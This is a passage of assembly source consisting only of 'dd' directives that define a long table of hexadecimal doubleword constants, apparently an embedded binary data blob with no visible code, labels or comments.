0C7C2644Fh, 28AE4Dh dd 81E003FBh, 75726C0h, 1DB3D2FAh, 0A4F21063h, 0B9007889h dd 0BA22933h, 2A6140h, 6B60AEC4h, 3646769Fh, 0F19B7A00h dd 0A8C68272h, 3D0B0EBFh, 0A7460448h, 31001099h, 0C663C00Dh dd 479F1Ah, 0F93E4334h, 15C3030Ch, 613AB400h, 0C0CC21F4h dd 0E1080BB9h, 0ABF041E5h, 0FED60200h, 1ACF6E95h, 0BE4706Ah dd 693B242Eh, 0D74CF580h, 0CB00889Eh, 5A72EFAAh, 753A823Eh dd 0BADF00A2h, 9B815142h, 1DE095D4h, 0F879AD01h, 0EDCEF40h dd 54C7E0h, 150530FFh, 0BEB68BA5h, 7262E31Dh, 0EFA6140h dd 7581F32Dh, 7ADE00E8h, 877FB59Ah, 0EB00B933h, 8AD4CBDBh dd 3C611AE0h, 46006D51h, 0F606D059h, 4F01CFDDh, 0BB8453Dh dd 87F8DB1Ch, 42370043h, 55572F30h, 0A5003C70h, 0EF4F58CEh dd 0B9D22D9h, 2BA1B77Bh, 0F4B02380h, 0B00BD30h, 0ADA0B42Ah dd 279E76h, 8F9728A8h, 206FD038h, 537D3F03h, 0C80F3185h dd 0E1FB6ADh, 1B5B1C79h, 0AC8967A0h, 7672A330h, 61C09D78h dd 0BA57A602h, 8AD70144h, 952072E8h, 0DD11D058h, 0AB7C841Eh dd 7E3B1E40h, 4333D4h, 7BB957E9h, 4407D894h, 842528C5h dd 612C7D80h, 15B31678h dd 0ED159Eh, 7486593Fh, 3101FCA0h, 0E05AA00h, 0A21A9590h dd 9BEAA9h, 0E7FD803Bh, 51B70882h, 0DD424Ch, 7DD3663Fh dd 0E2AAE9h, 34C5B9A9h, 0F19EEEB3h, 1C5ED600h, 638040DDh dd 0C4511EA1h, 49160010h, 1D01AC65h, 0E96EB300h, 9628DDBh dd 0EC2DE48Bh, 9D323E5Bh, 84B43C14h, 7EF0952Ah, 0D526004Dh dd 9B5C5DEFh, 0DA305FA6h, 0F89FB924h, 0E9C63A17h, 0FE254307h dd 8D09909Ah, 3D0014C2h, 7A481D27h, 9D0447h, 3FA52FC1h dd 0BE45AB41h, 0B80174B0h, 0DF37C615h, 0FDD0CF07h, 970E01A9h dd 27B2A188h, 0C044D085h, 3BFEF500h, 0B7CD90DBh, 0F6AC004Fh dd 0BA42A740h, 1851A1FDh, 0AAEDD4ECh, 0C0697239h, 19EEACBh dd 0E814B32Bh, 0F442C187h, 94034632h, 5712C737h, 3DF4A020h dd 41E0350h, 30F09845h, 0E4C6590h, 7902B8EEh, 9DE2E622h dd 0E1B4E04Bh, 5CE724BAh, 20E500B0h, 0BD4AD2B0h, 1146F300h dd 475054Dh, 0C4363D93h, 88407680h, 0C5B2A92Fh, 899A3Eh dd 0E9EB5C50h, 98F1A4Fh, 4B955B0Ch, 2F5CB00h, 0D900B4CCh dd 8BB1E34h, 0F72C168h, 49B88ADAh, 78285A00h, 0D2038982h dd 0AD509C96h, 0C7C04C3Ch, 6857A800h, 0CE9F54E5h, 56ADB00h dd 426CA3AFh, 0DA2200C6h, 0FBACE9D8h, 0A973FE73h, 0E101F173h dd 472A65AFh, 2470E509h, 27F200ACh, 924A5B6Ch, 39016DE7h dd 0B6BC5011h, 36F98FC4h, 2A570h, 0EF87C7D3h, 6586066Dh dd 0DD079E0Fh, 192E009Dh, 4E2DF75h, 7999F48Bh, 8011D748h dd 0FE5E7CC7h, 2B14A000h, 0B3FC3DF8h, 4C05EE1Fh, 0A201D789h dd 5AF00ED5h, 0D08CF5D6h, 21003A76h, 24A47871h, 0EB2F58h dd 46C90144h, 2B155497h, 204C3100h, 66E02506h, 60FCA2E5h dd 0FEE7F05h, 626ADE1Eh, 0A278B380h, 0C7011A09h, 0E7353B9Fh dd 80CC57D1h, 0F1B40314h, 21CEA03h, 0C76C7098h, 5803D098h dd 1ED9DF90h, 650590EBh, 743400FEh, 5064E504h, 0A3001B5Eh dd 5193D533h, 692272h, 157C8CBh, 0B4605FFDh, 1180310Eh dd 845A41BCh, 9860D7B5h, 321200F4h, 927E3DEBh, 0A4FA6830h dd 83E10900h, 65B33A02h, 0E07A61h, 0B8E7DE18h, 0A95A88C6h dd 984CF103h, 887B73A6h, 1C5C341h, 49F5534Fh, 60F1F602h dd 6702254Ah, 3754E845h, 508080D9h, 7D7E27h, 0CE40ACC3h dd 64C657CDh, 13249C4Ch, 6B051AD0h, 44805359h, 0A37A03h dd 0C0317E9Fh, 414C2CE6h, 0CAB13D02h, 40BAFA79h, 5A1EC28h dd 1D8AF095h, 0E5C4470Fh, 2726701Ch, 2E036673h, 0C52850A9h dd 0B93AD095h, 0DC4B0094h, 0BF5AFCABh, 82ECF2F7h, 888A9B00h dd 7F9A9906h, 0E0100084h, 9146070Ch, 2F755E71h, 0A8F82C05h dd 0BCC03C83h, 105445h, 67D505FEh, 2C57739Fh, 80752E3Fh dd 0C1FB33FAh, 67AA55A5h, 0C0997AF9h, 14B15E2h, 4AEA100h dd 9F2F3E7Bh, 0E75600A7h, 78753CC8h, 0C700CB31h, 79E05308h dd 3D9E6660h, 0DA8FAC57h, 4F00E8C1h, 0C9E45C33h, 0EEB0096Fh dd 0ECD3405Bh, 902DB1h, 0ED27E091h, 5CFC3FBh, 7AD67E00h dd 0BE62691Dh, 24CA7560h, 0F70B0DFh, 4120106Ah, 96D65B8h dd 0F54C9B00h, 66D4A22Ah, 6F7101F3h, 9E5F89C7h, 0F6E1E816h dd 4D413100h, 834E554Ah, 0B345005Eh, 0B640518h, 9917E95Fh dd 0B70093F0h, 0BE7389D8h, 0A68600C0h, 2BF45E82h, 4000FEA4h dd 7976E1ADh, 1294E5h, 75476D96h, 0CCBF2C1Ah, 0FF5DC702h dd 0C09320CEh, 69A563h, 0E3087571h, 0C4ADD123h, 33622C00h dd 0F5F08446h, 0A27F0168h, 0D9852A11h, 0B279703Bh, 433CE300h dd 4C1B603Fh, 648D0190h, 44028F14h, 0EA7EC8E5h, 6201D2FAh dd 0C93910FDh, 887ECAAh, 0F6DA5Bh, 68661540h, 4F827600h dd 0F7CCC422h, 0DFF4077Dh, 0D0BE6571h, 94175B0Ah, 80D0E53Ah dd 30B132BFh, 193D8Bh, 2A407CA9h, 0CCEEB83h, 966FE600h dd 4BBD9DF2h, 0EF0100FDh, 4C8786Bh, 0AB0085EDh, 48D463F3h dd 143F93h, 121F26Ch, 78382232h, 1D750600h, 0DEA562BCh dd 0E79906D1h, 10699E45h, 0DCC0F01Ch, 502B5180h, 0C36166Fh dd 63D043DBh, 0A40F5220h, 0A732C5EFh, 8CE0209Fh, 0D7B096h dd 4999E8D8h, 8BA0E29Dh, 0F8037507h, 22719501h, 0D6C577D1h dd 3D3EC4h, 0D0CA1B9Ch, 54AB092Dh, 39F158h, 470CEA6Ch dd 28EE9h, 83947815h, 8A3171E4h, 84DB1700h, 0E0A4CAB6h dd 0F2A7095Bh, 0B2803CAFh, 53D80CC1h, 11903Ah, 0A989D9B7h dd 3D72E294h, 0F280182Ch, 66FE0D82h, 2A00789Ah, 65B24B77h dd 3AABD645h, 2E007BDEh, 0A8547EDh, 0FE00B968h, 0B3B298D0h dd 4CC289A1h, 3775337h, 3CAEA793h, 7900B9E5h, 1C770965h dd 312D75h, 0A8DEAA49h, 480AB2C3h, 7D1688A8h, 54091503h dd 88385121h, 8AF990h, 298E611Eh, 527B45E4h, 0CE22F500h dd 2A7A85D1h, 0E9F7801h, 7FF940CBh, 0F3307B40h, 413DE7F1h dd 733600F8h, 322DD73Ch, 3BDA003Fh, 1A5D9D38h, 65005840h dd 0F711117h, 1F8C3C7Ch, 0C09266BEh, 3144D3A1h, 4200C8B0h dd 0AD69F3FDh, 1D89AE13h, 0C077A0A8h, 37DEF17Ch, 3D0063F8h dd 2B6CDDCEh, 3DD273DBh, 0E1801483h, 0BDE9B041h, 0E1F61C3h dd 91408877h, 992498F7h, 0EE940035h, 7C13541Ah, 7500A1A0h dd 0F2EB8B3Ah, 103142h, 0ED8ED00Ah, 0AEEEBF8Ch, 0F984FB00h dd 1703FF2Eh, 987F0038h, 89427E5Ch, 0FA00E7F0h, 1AE14D7Bh dd 0E0210Ch, 9A04EC80h, 0AB7719A9h, 0DD5E300h, 25F6487h dd 53E500C4h, 3416C3D6h, 3C00BC7Eh, 0E05486A7h, 0C2B0DAh dd 6FBB0ADCh, 0E6A3F128h, 0D900CAB0h, 777BF46Bh, 0FA858FE0h dd 6E10C06Ah, 674709A1h, 0E4D2B516h, 69CF7507h, 0B6BFAFF0h dd 785D002Dh, 2670F9C7h, 9C7D0F50h, 2200BA76h, 1B44C24Eh dd 3C6635DBh, 7100E989h, 0ABEC34D3h, 81007376h, 0A60AF85h dd 3BB7B377h, 0C9CC1579h, 385A5430h, 0D800CF81h, 8992477Ch dd 0E81F3120h, 0E0DB4B3Eh, 91C03C1Ah, 0B99B1A38h, 50D00A7h dd 0B6D06F51h, 0D300F7F1h, 3B9719C5h, 0F40B94Fh, 0F921469h dd 9C2DCFE3h, 0EC31D7B1h, 0AC0002CAh, 0E8A8FED1h, 30D4F142h dd 6D30983Ch, 4D13EC2Ch, 3900AA74h, 0FAA95576h, 0E476DDh dd 5410AF64h, 0B50C7BFEh, 4F435800h, 4B87C4D2h, 0A83300DDh dd 0C885BE08h, 6902AB13h, 7058C173h, 31284016h, 0A60744Eh dd 101CB68Ah, 44290098h, 0FFF889A2h, 6811FD00h, 4CEA9F15h dd 39B4623Dh, 23114B48h, 995F2610h, 0CD02FE0Eh, 0B394A061h dd 27DABBh, 0C9B8D3ACh, 0B92E5338h, 50C4A47Fh, 98481DCDh dd 7483A000h, 3BDD339Bh, 3500A71Ah, 23B5D9ECh, 0DCEE386Ch dd 97908500h, 4DFCE433h, 0C39F0DEh, 3502DAFh, 8F00A4DAh dd 993C191Bh, 81FB40h, 0C40D2612h, 53A3B882h, 86D6DB02h dd 40969559h, 0D9C87Ah, 0F3BBA055h, 44BE7EC1h, 6A0D2A00h dd 996421AAh, 80C76025h, 6B637A69h, 0A500F57Ch, 90345CB8h dd 0D3BB41h, 7A36F716h, 0D5519F8Dh, 0A7BE1200h, 15C322CDh dd 44E0AAh, 0A0EAEF74h, 929D3FEBh, 0AF557000h, 1EE0D10Dh dd 6C45137Ah, 2E8101DFh, 60D8CB20h, 0BF00D307h, 85FA2A7Bh dd 7F037863h, 0C98600F5h, 8029D80Fh, 0B47DCDACh, 0B0FADC13h dd 0AA1BF0h, 2B24882Ah, 6B1A1257h, 117F3E00h, 2F5ADDC3h dd 0E2910042h, 0CAA915AEh, 320320B3h, 0D0B435BAh, 443AD876h dd 978F1A27h, 0D8C078F9h, 64761924h, 1ED6961Ch, 0B5662F00h dd 923DE9h, 0AFC12B17h dd 0A474D015h, 88A038h, 31650332h, 17580F5h, 84AA0DCDh dd 0F44E79CAh, 0D97B5C3Dh, 33001C75h, 7EDAB108h, 3D48098h dd 7792378h, 58881A41h, 214C5EB6h, 3EBA0019h, 33E1EFF8h dd 0F70100BEh, 735D312h, 0C0EE9643h, 9ACB870Ch, 5B2A2Bh dd 0AC67CC8Ch, 9DBE3F03h, 39BFF806h, 0FEE40Ch, 0ED2AF396h dd 0B0C2AB0Dh, 0B43EC6FCh, 90A8A21h, 0A10DB48Fh, 0E5F41132h dd 97C4004Eh, 0C6DD1F9Bh, 0F6FEA2F9h, 0CE88F309h, 0F1080045h dd 758DA13h, 3D0DD6BAh, 0F09B063h, 86006E2Ch, 61531DCEh dd 23E14Bh, 91748D1Bh, 16DE1C9Ch, 0CD923200h, 263E0CAh dd 0E40B0F9Eh, 0FEA0408Ah, 0B5BA1399h, 0CFD9AA00h, 4968501Ah dd 8833000Fh, 23AD59D1h, 3814F73Ch, 0B057A2h, 8E996FDBh dd 3E54CCh, 10B08B90h, 0B436F0C2h, 0BC58E6FCh, 256020Ch dd 0E01883F5h, 12220462h, 0E80AAFh, 6C51C1CBh, 0B8077BC5h dd 0F3288B02h, 8F4A150h, 7249130Eh, 0E4F101DFh, 0F089A5F7h dd 0C81C25D0h, 21F0B110h, 19BAC74h, 0E89DE4EEh, 0F0C40EB5h dd 3303D25Eh, 0CEBDB3C8h, 82E08076h, 7C2C1D3Fh, 9DD90BC6h dd 10836400h, 2D032509h, 0D7D1E262h, 573000BBh, 986A6FBFh dd 0FC00F294h, 0CC2F4092h, 3AD150Ah, 856B84DCh, 4FB887EEh dd 6501A0AAh, 9C35CA2Ch, 0CDE4AF76h, 645005Dh, 42C7BCE7h dd 9F035F90h, 35AE7077h, 0B618030Ch, 259AD794h, 0A87D1EE8h dd 0A9462B00h, 0EC62967Ch, 0ABF01F83h, 0CE09C03Eh, 0E1F124C3h dd 57E827F2h, 5D1B6300h, 797FE605h, 4B3901D8h, 0EF54DBECh dd 7DC3DC76h, 6919C802h, 0E0026553h, 0FA48681h, 9BB9373Ch dd 0F99F12A0h, 9007EE58h, 1B68CCEFh, 0E026C490h, 0B39E00E2h dd 0D1F76436h, 5A3B49FAh, 22950CC1h, 0CA4200Fh, 0F2C2DA89h dd 8C1D1098h, 0DF00F441h, 0B55DF51Fh, 0D38507EFh, 0F04EC1FFh dd 9D578AB2h, 0F8E8D200h, 0DB314993h, 513F00DFh, 0FECABEC7h dd 5609DCA9h, 804DD561h, 0EC193562h, 2E0B139Dh, 0F57300BCh dd 0D822699Ch, 0EAC1E100h, 903A86D0h, 0D28800C5h, 20D52E55h dd 76094354h, 0FC1DF75h, 0DA604014h, 953B8AAFh, 0BD1479C0h dd 0FB42D000h, 4E121DB1h, 0F0CF5BF2h, 8B3CA995h, 0CC7D0752h dd 20C0FFEFh, 21C7A76h, 2C67BD9Eh, 98405944h, 0CCA8ABB3h dd 0D3039641h, 0F6F36EC7h, 218CD898h, 0C43700F9h, 4663A6FCh dd 0B4E4801Ch, 8015563Bh, 0B7715007h, 0BE11983h, 0EA874292h dd 735DED80h, 7A4C9F32h, 962D0061h, 18F9936Ch, 0A4690023h dd 68435F56h, 48007359h, 1F6E0D7Ah, 0D624C2h, 0C41EE1DBh dd 0BAF704AFh, 20F4EF26h, 41409024h, 0DDABA6h, 8FC66B83h dd 0B266104Dh, 2A2F200Bh, 52FD80D6h, 1F5E671h, 5FADDF70h dd 0F4981BF3h, 27179B67h, 9F091E7h, 6BA700FCh, 80BA577Ah dd 743A4EE6h, 7FB0806Fh, 0E2E7F5D1h, 1E30FEFFh, 80D9C047h dd 0BB294217h, 0B702489h, 8799523Bh, 941E8CE6h, 350849A0h dd 92191E9Ah, 5DDC802Dh, 77BB4696h, 0B4BCBF0Eh, 0FB40FE3Bh dd 8A9923D2h, 26562411h, 3E4D0140h, 0ECD7E745h, 6200D5BEh dd 0CE50FC0Eh, 242AC38Bh, 1FD66C39h, 0B8880E7h, 0B2E5E319h dd 9D9A5800h, 1611BE5Bh, 94630028h, 0C2EF749h, 0F21D5597h dd 0ECC041A9h, 0B01D373h, 66F40042h, 2F15F6D6h, 38007AD5h dd 88723C8Dh, 2FF252Ch, 0ABA704C2h, 0B8E13362h, 0B83FC4EEh dd 26809200h, 0DCE9B3A0h, 13F000F2h, 0EC1554E2h, 6414E61Eh dd 489CC605h, 6B7906B4h, 10BDB9h, 44183D8h, 35B8992Bh dd 13249314h, 94F207D6h, 0B9B06EEFh, 0F0CBB370h, 0CF201287h dd 0C2C8004Dh, 84F6147Ah, 0C6EBA701h, 31DAEF3Dh, 0DFD9C4h dd 0D4852B40h, 68BBE40Fh, 0EFF2DB71h, 0A101BCEEh, 25BD8B66h dd 24FB08F1h, 0C1F91h, 0FBF9FF27h, 4303A9E6h, 74A8DD8Fh dd 6DA0CF41h, 335796Bh, 95DBC2Fh, 68E02BBDh, 0C800A593h dd 147315CCh, 420461h, 0D0ECB9A9h, 7BB30543h, 1B49BF0Eh dd 0AC40B2DBh, 112A890Eh, 8D1D0081h, 2279998Ch, 0FC3F19E9h dd 809A01AAh, 0CF116BDh, 1A7D660h, 929E48BAh, 0F425C373h dd 0B8007EF8h, 426F5505h, 26A0E38h, 5EA8E126h, 0FC656179h dd 0BF4C92h, 0C765FFF3h, 900E1F7h, 2FB5D122h, 75FBEAh dd 385736A3h, 0AE5066EBh, 0D9C5C60Fh, 4055AF4Bh, 88E828E2h dd 0B65E0060h, 667A022Ch, 0FE0F76A7h, 0E4DA5B9Bh, 0A4D0FD36h dd 71626Fh, 9D5C0250h, 0B374DB0Ch, 0EA9CFE01h, 0D5EBF61Dh dd 2E94E4h, 0FCB242DAh, 8E49D2E6h, 6BFEC200h, 0B54E1067h dd 0AE1009Fh, 63652270h, 3B2E35C6h, 8700DCF3h, 40D5ABD2h dd 91DA02CBh, 1BDD3EFDh, 0FB0BDC68h, 0EA824D00h, 0EBF46A06h dd 96EF01E9h, 0B969656Dh, 3F54D440h, 0C31DBF16h, 0BAA68401h dd 46C91551h, 0BDE485F9h, 70060018h, 9984EFF3h, 0FC01AF65h dd 43B3C417h, 4420E867h, 8A720024h, 0CB3E3DB6h, 0EE1DD17Eh dd 8C3A87CCh, 90580893h, 0C9A71BC2h, 0E9C0306Ch, 8D1D78CFh dd 2906E7EAh, 3E18B64Fh, 8000C7EBh, 55F445D6h, 0D1007D15h dd 1E9EAABh, 0AA55C38h, 0F793054Bh, 9ED9002Ch, 6EB9B6Bh dd 5E6D0103h, 0B8D7FBAEh, 0EB72B72h, 98CC16D1h, 193CA9Ch dd 6BAC801Ch, 3406E841h, 2F98FC00h, 0D30E0911h, 7C2B7B19h dd 4E3A3D73h, 406EC09Ch, 42ACD6C1h, 0A032FF2h, 6D16F984h dd 0F10CC87Eh, 0C219004Bh, 0A3E2CF05h, 0D005B8Ah, 0CD32A41Fh dd 1D574A64h, 0C0FD9A88h, 0A1E9B2A5h, 2A00050Fh, 66FA7E27h dd 3A246051h, 100A6E2h, 721EA8F6h, 0FF04A54Dh, 637BF7FAh dd 5DC400FAh, 6F270AE0h, 339B6803h, 0A0E7DAB4h, 0D9B278h dd 9C888A3Ah, 0EA0272BFh, 3BA87F00h, 4F3DCF65h, 8D513A7Ah dd 0EB73450Eh, 3ECC5D60h, 0FDE257E8h, 5B38358h, 0FC2E87C0h dd 0BCFBC002h, 0C4988AF2h, 0C50D4400h, 7A5625h, 0F4CA69D1h dd 0C322EB48h, 0F0A90E29h, 9B40F01Dh, 7A87EA90h, 779333E5h dd 210B1808h, 0FD9B7DAAh, 96529B00h, 8A0E0692h, 0AB864C58h dd 0F77FCC4h, 3AF16F5h, 13482860h, 0C8181CEBh, 369039C0h dd 0FA5F15F2h, 4400E859h, 0D1702C90h, 0B619CD1Eh, 0AC0826A7h dd 801BC180h, 0B80F1D2Ch, 0FC585102h, 6E12271h, 37B09910h dd 0ECD6A0A9h, 4D003808h, 60FDCE73h, 0E447A3CBh, 0F8BA0027h dd 3CBFD34Bh, 0AE0005F1h, 0F6BD687Eh, 18267C16h, 49AD883Bh dd 0B2000AE2h, 6AB9C3Dh, 7418436Ch, 219EEF05h, 9DB28588h dd 94CB823Ch, 0D8CBA6E0h, 3EB7A606h, 29C10Dh, 0F40F6A9Bh dd 9EAE42C6h, 8890A455h, 60B78270h, 9C34B201h, 91050321h dd 0B6D00C6h, 0DBBC9AB2h, 1F51C9D9h, 25CB7C01h, 0CA108080h dd 762806D0h, 9F7700DDh, 0D1CF472Ah, 1600D8B4h, 0B80C3848h dd 35B9260h, 35C49C54h, 7C90F9ABh, 176753B0h, 2D60227Eh dd 288EEBh, 5BDA9380h, 52379471h, 0D000FA77h, 0F7E8E461h dd 0FC6C639Dh, 37EAE670h, 40387BB6h, 31D08DB1h, 8F36B300h dd 0F0BC7D9Bh, 81E7002Ah, 32508A11h, 3B1C719Ah, 0E8C8218Eh dd 884A0C2Eh, 2D0CB148h, 5140A222h, 590963D0h, 7DB86127h dd 0CDE6B3F3h, 31CCF900h, 64107174h, 0A02D0338h, 0E99207F4h dd 204D1800h, 978FF0A5h, 914A2047h, 37B2CC00h, 5368EE44h dd 21CCE5B4h, 7044A030h, 0B99300A4h, 0B4A23745h, 8F1989DEh dd 5E58E9D7h, 239B4C40h, 4D160F0Bh, 95800FAFh, 0DBA3F8C6h dd 147238h, 31F275B6h dd 0FC6D74A0h, 31307647h, 0A8A1E284h, 8D198070h, 0D854506Ah dd 6C8100ADh, 0B031CB82h, 0BBF285E1h, 4D703300h, 0B1203B9h dd 59C601A8h, 0DA5EF66h, 13E3F47Dh, 5465CAECh, 42F5311h dd 0EF4BA0C3h, 0BA651000h, 5F077040h, 0F56403FBh, 0A9476E54h dd 0F7A0809Fh, 28CEE973h, 3EA0BD56h, 32409917h, 84F3A044h dd 42789422h, 9FEA1103h, 0B27F4474h, 883F7144h, 9D01BF55h dd 1063D64Fh, 0B57049E1h, 0FA6E0777h, 0A008F6D3h, 0D6E67020h dd 0D7A4D800h, 40863328h, 0F7EC0010h, 976782DDh, 98000172h dd 0FE84EDFh, 52BDA6h, 0EE5E5647h, 3119D094h, 182C6200h dd 0BB6849F7h, 8CC8FF2Bh, 1A080015h, 0D121511Dh, 8F002E06h dd 7DF6A067h, 0F37A6F1h, 5B4C092Ah, 41C87B00h, 12054AFCh dd 0E743C96Ah, 0E16FB040h, 75F04AEh, 10333BF4h, 0BAB2C018h dd 0E7009528h, 0EE67133Dh, 70DC7E5Dh, 5AF500B8h, 816C9A27h dd 9900AC25h, 0AEF40B11h, 0FE9E0A2Bh, 521D187Dh, 0ED4D1278h dd 0E6A43900h, 1CBCB56Bh, 0EEB3005Fh, 0B9501BDCh, 7CECFC5Bh dd 655850A0h, 0FEA5981h, 132832A0h, 10004E8Eh, 473CFF27h dd 0DF8112h, 0FC367FBBh, 13682844h, 0E2198900h, 5059BD69h dd 3B10CE6Fh, 0CF208AAFh, 85CAFF3Ch, 97E9EC03h, 0C0FE9A9Bh dd 13ADA757h, 10ACF787h, 0F807A8FAh, 0DBC095DFh, 5CF16287h dd 3005628h, 3CE57344h, 0CA1AE21h, 4C199E5Ch, 70009A68h dd 3EBDE2CEh, 0E32A72Ch, 0CD95E3F3h, 942E446Eh, 0A6D0BF00h dd 0AA03250Dh, 7BCE3396h, 0E288F83Fh, 12E302D4h, 39E00865h dd 52EAF160h, 14430500h, 0CACD44A1h, 23102A7h, 0AF34BB03h dd 0A3CD887h, 13FD01E4h, 0CC71FF81h, 0F2003704h, 99B78903h dd 9417D0h, 0D45C021Eh, 0E844F921h, 61367A02h, 0E3CD8339h dd 6B3CC82Dh, 0CF6A0023h, 91F86FA5h, 0A30048C3h, 0AE46F0EBh dd 0E8D5C7D4h, 2D590015h, 0D0ED81C8h, 7B0002D7h, 0E5300C24h dd 0FA965763h, 8FFE01BCh, 0FA198DAFh, 3E43D491h, 905BD500h dd 6FB7037Ch, 947D0016h, 0DEDDE676h, 0B9031288h, 70A4686Eh dd 17F89938h, 2BB5C4h, 2CD490EBh, 20EEF64h, 989A5802h dd 69A3537Dh, 25E43714h, 0C943008Eh, 6DB5E3D2h, 4A04CFF6h dd 33D88460h, 0CB000287h, 588C7F66h, 8700B338h, 5230B897h dd 2A30C64Ch, 0F7E4B0BDh, 0EF767Dh, 0AF812C48h, 2B78B344h dd 0B13BF803h, 0E2CC24B7h, 71F6E016h, 9FB82Dh, 0D81F2694h dd 3CCED184h, 0CB1CDB00h, 0FB458B85h, 159F00F1h, 0F658F587h dd 0F800D3C5h, 1C551AE6h, 1D723BFh, 434DD6A1h, 0C80E93E9h dd 1F000AEDh, 6CDF90F3h, 514259h, 27CA7F2Ah, 28BC99B8h dd 0DAAED300h, 0FCCCFEEFh, 187D000Eh, 74D1855Dh, 50000FB3h dd 0D99EA934h, 3C2728ACh, 9F008ABDh, 0ADE304C4h, 0C036A8Fh dd 15E5B8A6h, 409CEAD4h, 0EF435Eh, 66E60A3h, 7EAF3B76h dd 4889CE00h, 807521ABh, 40AD0053h, 95C8A25h, 130065BAh dd 0C7CE013Ah, 0E0EF034h, 36D018D5h, 1A975060h, 0EE005F6Eh dd 8CA0969Bh, 7D691006h, 8E733CB6h, 0C5E93000h, 0F046D4D9h dd 1985F200h, 0E1A65872h, 151F0054h, 23EDB6B2h, 0E0F0A0EFh dd 0A270E400h, 83A8AB16h, 7B7004Ah, 8A93BDD0h, 87269532h dd 1E1D5052h, 0C7979C80h, 1CFA5622h, 802C8F34h, 0A5D05146h dd 1500A3C3h, 6F4C02C4h, 0CC81E8h, 0D9A11065h, 0C0674475h dd 305D3800h, 0EB1BA79Ch, 12E709F8h, 0CD83D4C6h, 65F0260Bh dd 6E004ED7h, 40104DA7h, 2D3984h, 0F7B7218Ch, 93B81BA4h dd 743A0702h, 40AE1A46h, 1EEF677h, 7B56AC20h, 0F889168Eh dd 5300D030h, 998CE99Eh, 3BE50AD5h, 4F80ABF0h, 9102436Eh dd 1F03D47Fh, 0CFC19755h, 8BBFD0D6h, 602D002Eh, 0D41C44D0h dd 740046E5h, 67A8F288h, 2CFDD362h, 6E043Fh, 0C2361F31h dd 8FA0A686h, 73E4BADFh, 7C99FC09h, 156C202Eh, 9F6467h dd 723F6DB2h, 5988FD61h, 0F91ED77Fh, 9340EBDBh, 2169248Eh dd 5C5F1D82h, 3104FB53h, 0C0227B3Eh, 0B53AE14Ch, 328E3300h dd 0AEC3FF43h, 0B3810F6Dh, 4DA00874h, 0E4262EC2h, 99536F00h dd 66847822h, 271F005Eh, 61A30BF5h, 8300E849h, 86ED9ECAh dd 1F4F9170h, 80EC65D9h, 0EAE0A923h, 2A00AD0Fh, 7A9FBD89h dd 7F084134h, 51263E1Fh, 0D6F0680h, 876C548Ah, 0CFD16E0Eh dd 0C071CF7Fh, 73B736CEh, 3DD493FAh, 8C0F2200h, 27653EC1h dd 2F9A5400h, 24FE0B8Ah, 0E0FC60E1h, 0CBBDD1A9h, 0C1A52D07h dd 45303044h, 3B43B5C2h, 0C70341C3h, 2CDDCD48h, 91BA85F0h dd 226D1F00h, 45F5A023h, 872939A8h, 3FC805A6h, 0C5BE93h dd 59492FBCh, 5B1325A9h, 541CBA88h, 203A94CBh, 2263FDDCh dd 109E3D2Eh, 7CCB26h, 235BFDCh, 97007B0Fh, 4BEC681Dh dd 0F42E40h, 0C97FBC39h, 6F243E37h, 0BACD0600h, 0F39E0C19h dd 3440C0CAh, 488AD7C3h, 0B165D400h, 9FAF8240h, 67EF004Dh dd 6F0516CDh, 0BC9A94DDh, 0FF6B3101h, 0F9878D01h, 0B3C064h dd 0C5352E6h, 69679523h, 0D6FAA500h, 0E405093Bh, 5EE93AFDh dd 8109D24Ch, 0CA0091F5h, 0C8CDD61Ch, 63008B7Fh, 1482B118h dd 6DDE2DAh, 0E860B246h, 0D05F80Ah, 1733AA41h, 0F508405h dd 53658D0h, 0C098DFh, 27B75A94h, 0D9460975h, 31748D3Ch dd 0C92130FBh, 0F4A452F0h, 36C700F9h, 8A2BDDB9h, 33FCFB3Bh dd 56E0C000h, 5B684311h, 55B9001Fh, 3C729BC6h, 0DF3D1C4Dh dd 0ED2101AFh, 5EC8399h, 0E397D850h, 26CCF4A2h, 6CFAF4h dd 85750477h, 0CE009411h, 95A91D0Eh, 3DA90B8h, 435898EDh dd 6780E580h, 2212B208h, 7C83A01Fh, 0A713B32Ch, 163EDAF0h dd 0C2D701EBh, 9C47E1A7h, 80D85539h, 587C18FFh, 1CC07400h dd 2DF67F0Eh, 93C700BAh, 803A6502h, 0B2471F0h, 2F801CB7h dd 0C8F8FB70h, 867D10h, 0C373D464h, 0DA2CE928h, 0A8B0A600h dd 0AB4B8590h, 22B80DF3h, 61982595h, 50998EEDh, 5CC60DFh dd 7D6784Bh, 0B353EBAh, 0C091C5ABh, 0D8F3E369h, 9D8D48h dd 57061C71h, 196F0464h, 5051755Ah, 0AC2C708Eh, 8B6E6A00h dd 0F52111BDh, 0BAA1003Fh, 3D2B74FFh, 0BC3AE7B6h, 0D78704B9h dd 3490A011h, 72C4D3h, 0F35735CCh, 60331BDFh, 0F554AA03h dd 0B0757CBBh, 0B7772Eh, 55C8E4ACh, 1ED2D96Dh, 6515B600h dd 0C9769748h, 34241DD7h, 0C2CE8018h, 0F8511E43h, 3244C600h dd 0DF9B887Fh, 1C3E83Ah, 56BDB1B5h, 0D4133477h, 1C0253C2h dd 0F260EA87h, 990603Ah, 0C08376ADh, 35C16C20h, 616E731h dd 2D0047DAh, 72CDCEDEh, 0FE54E4F6h, 0ED9075Dh, 0B06A8A84h dd 9BEBE0EDh, 83EED400h, 0B918AEE3h, 7073029Eh, 5E177271h dd 0EC148440h, 33F60C76h, 410783EEh, 18529F88h, 0E149BF10h dd 0D73C2895h, 887860BCh, 2B76B334h, 50402A00h, 0CD661A65h dd 373A0036h, 496AA8AAh, 91050E34h, 0E892B823h, 388B8402h dd 16E1E01Ah, 780B00BDh, 2C30D3E3h, 0A400A8A7h, 0CDD77C1Fh dd 0F9BBD8h, 1B5F8066h, 60DE0B46h, 0A4398303h, 0F0071C3Eh dd 0A7B694h, 32F1AA8Dh, 0A26AB58Ah, 0B890400h, 79907BAEh dd 234A0088h, 28BF85B4h, 9D002E6Ch, 713C5C50h, 0FF1B3Bh dd 16B90B45h, 3017032h, 0CC42800h, 2D7A3117h, 0E2530089h dd 0D3D7E4F8h, 50005EE3h, 5DD59B44h, 80AF08h, 4BA46F82h dd 0DCB1E956h, 0E0663802h, 4018F786h, 0EC5C7638h, 0C88C0019h dd 0D3328108h, 444CF396h dd 157D2C07h, 0BC6A4500h, 1C3F6B2Bh, 802F8CCCh, 62F0678Bh dd 691E3B13h, 3A478FBDh, 425460B3h, 0E18E5CD0h, 3E24E857h dd 1212FEBBh, 37908089h, 1676D33Ch, 0FF006098h, 0CEAFF5EDh dd 0EC66AD65h, 0DB920EB0h, 69EAC8F6h, 